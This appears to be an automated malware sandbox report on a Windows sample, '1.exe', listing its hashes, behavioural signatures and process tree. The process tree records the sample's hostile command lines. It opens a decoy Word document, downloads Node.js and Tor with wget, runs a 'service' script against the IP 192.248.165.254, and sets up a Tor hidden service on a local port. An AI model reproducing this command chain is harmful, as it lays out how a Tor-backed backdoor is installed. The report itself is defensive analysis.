Analysis
- max time kernel
129s - max time network
142s - platform
windows7_x64 - resource
win7v200722 - submitted
13/08/2020, 10:03
Static task
static1
Behavioral task
behavioral1
Sample
1.exe
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
1.exe
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
- Target 1.exe
- Size 693KB
- Sample200813-2np3wab2qa
- SHA256 23cfbb0bf1e110a79678f45c29897e6090b660d3df420bbb916fc3f1bc12eead
- MD5 eb8d97854d44e4af3907600f28b4b1e6
- SHA1 ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
- SHA512 569a77fd8eb26a0bb1f590d0d2868673a93651e349d8962f021a0f498f665fffff2e33909b1937ec5e836710b1112142ed6d8aa90e6582ee93dda5c6e16b59c8
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Executes dropped EXE 6 IoCs
pid Process 800 wget.exe 1928 wget.exe 1104 7za.exe 1844 node.exe 1520 node.exe 1576 tor.exe - Loads dropped DLL 15 IoCs
pid Process 1420 1.exe 1420 1.exe 1420 1.exe 1420 1.exe 1420 1.exe 1772 cmd.exe 1520 node.exe 1520 node.exe 1576 tor.exe 1576 tor.exe 1576 tor.exe 1576 tor.exe 1576 tor.exe 1576 tor.exe 1576 tor.exe - JavaScript code in executable 13 IoCs
resource yara_rule behavioral1/files/0x0003000000013192-451.dat js behavioral1/files/0x0003000000013192-452.dat js behavioral1/files/0x0003000000013192-454.dat js behavioral1/files/0x000500000001318f-587.dat js behavioral1/files/0x0003000000013192-589.dat js behavioral1/files/0x00030000000131a3-687.dat js behavioral1/files/0x00030000000131a3-688.dat js behavioral1/files/0x00030000000131a3-689.dat js behavioral1/files/0x00030000000131a3-691.dat js behavioral1/files/0x000300000001319b-692.dat js behavioral1/files/0x000300000001319b-693.dat js behavioral1/files/0x000300000001319a-701.dat js behavioral1/files/0x000300000001319a-700.dat js - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1560 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 800 wget.exe 1928 wget.exe 1844 node.exe 1520 node.exe - Suspicious use of SetWindowsHookEx 16 IoCs
pid Process 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE 1560 WINWORD.EXE - Suspicious use of WriteProcessMemory 36 IoCs
description pid Process procid_target PID 1420 wrote to memory of 288 1420 1.exe 24 PID 1420 wrote to memory of 288 1420 1.exe 24 PID 1420 wrote to memory of 288 1420 1.exe 24 PID 1420 wrote to memory of 288 1420 1.exe 24 PID 1420 wrote to memory of 800 1420 1.exe 26 PID 1420 wrote to memory of 800 1420 1.exe 26 PID 1420 wrote to memory of 800 1420 1.exe 26 PID 1420 wrote to memory of 800 1420 1.exe 26 PID 288 wrote to memory of 1560 288 cmd.exe 28 PID 288 wrote to memory of 1560 288 cmd.exe 28 PID 288 wrote to memory of 1560 288 cmd.exe 28 PID 288 wrote to memory of 1560 288 cmd.exe 28 PID 1420 wrote to memory of 1928 1420 1.exe 29 PID 1420 wrote to memory of 1928 1420 1.exe 29 PID 1420 wrote to memory of 1928 1420 1.exe 29 PID 1420 wrote to memory of 1928 1420 1.exe 29 PID 1420 wrote to memory of 1104 1420 1.exe 31 PID 1420 wrote to memory of 1104 1420 1.exe 31 PID 1420 wrote to memory of 1104 1420 1.exe 31 PID 1420 wrote to memory of 1104 1420 1.exe 31 PID 1420 wrote to memory of 1772 1420 1.exe 33 PID 1420 wrote to memory of 1772 1420 1.exe 33 PID 1420 wrote to memory of 1772 1420 1.exe 33 PID 1420 wrote to memory of 1772 1420 1.exe 33 PID 1772 wrote to memory of 1844 1772 cmd.exe 35 PID 1772 wrote to memory of 1844 1772 cmd.exe 35 PID 1772 wrote to memory of 1844 1772 cmd.exe 35 PID 1772 wrote to memory of 1844 1772 cmd.exe 35 PID 1844 wrote to memory of 1520 1844 node.exe 36 PID 1844 wrote to memory of 1520 1844 node.exe 36 PID 1844 wrote to memory of 1520 1844 node.exe 36 PID 1844 wrote to memory of 1520 1844 node.exe 36 PID 1520 wrote to memory of 1576 1520 node.exe 37 PID 1520 wrote to memory of 1576 1520 node.exe 37 PID 1520 wrote to memory of 1576 1520 node.exe 37 PID 1520 wrote to memory of 1576 1520 node.exe 37
Processes
-
C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c document.doc2⤵
- Suspicious use of WriteProcessMemory
PID:288 -
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\TN\document.doc"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1560
-
-
-
C:\Users\Admin\AppData\Roaming\TN\wget.exe"C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://nodejs.org/dist/latest-carbon/win-x86/node.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:800
-
-
C:\Users\Admin\AppData\Roaming\TN\wget.exe"C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1928
-
-
C:\Users\Admin\AppData\Roaming\TN\7za.exe"C:\Users\Admin\AppData\Roaming\TN\7za.exe" e -y tor-win32-0.4.3.5.zip2⤵
- Executes dropped EXE
PID:1104
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248.165.254)2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Users\Admin\AppData\Roaming\TN\node.exenode service 192.248.165.2543⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Users\Admin\AppData\Roaming\TN\node.exeC:\Users\Admin\AppData\Roaming\TN\node.exe C:\Users\Admin\AppData\Roaming\TN\service 192.248.165.254 ""4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Users\Admin\AppData\Roaming\TN\tor.exetor SocksPort 0 DataDirectory . HiddenServiceDir . HiddenServicePort "80 127.0.0.1:56113"5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1576
-
-
-
-